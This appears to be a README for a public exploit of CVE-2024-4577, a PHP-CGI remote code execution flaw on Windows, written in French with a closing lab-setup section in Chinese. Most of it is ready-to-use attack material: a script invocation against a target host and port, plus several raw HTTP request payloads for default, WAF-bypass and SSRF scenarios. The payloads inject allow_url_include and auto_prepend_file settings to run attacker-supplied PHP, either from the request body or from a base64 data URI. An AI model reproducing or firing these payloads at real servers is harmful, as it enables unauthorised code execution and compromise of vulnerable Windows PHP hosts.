
Exploit pour CVE-2024-4577 PHP-CGI RCE sur Windows, avec contournement WAF et support SSRF. Fournit plusieurs variantes d'exploitation pour les scénarios par défaut, WAF et SSRF.
cgi.force_redirect + REDIRECT-STATUS.allow_url_include, auto_prepend_file, auto_append_file. Permet d'inclure n'importe quel fichier et fichier PHP.allow_url_include, auto_prepend_file, auto_append_file, souvent bloqués par le WAF, n'apparaissent pas.| Informations | Détails |
|---|---|
| Nom de la vulnérabilité | PHP RCE |
| Identifiant | CVE-2024-4577 |
| Niveau de risque | Élevé |
| Type de vulnérabilité | RCE |
| Difficulté d'exploitation | Faible |
Utilisable dans les scénarios de contournement WAF + scénario par défaut :
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
Exemple :
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
Utilisable dans les scénarios SSRF + scénario par défaut :
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
Utilisable dans le scénario par défaut :
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
Utilisable dans le scénario par défaut :
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows版 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
无需任何修改,保持默认配置
使用上述EXP进行测试
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容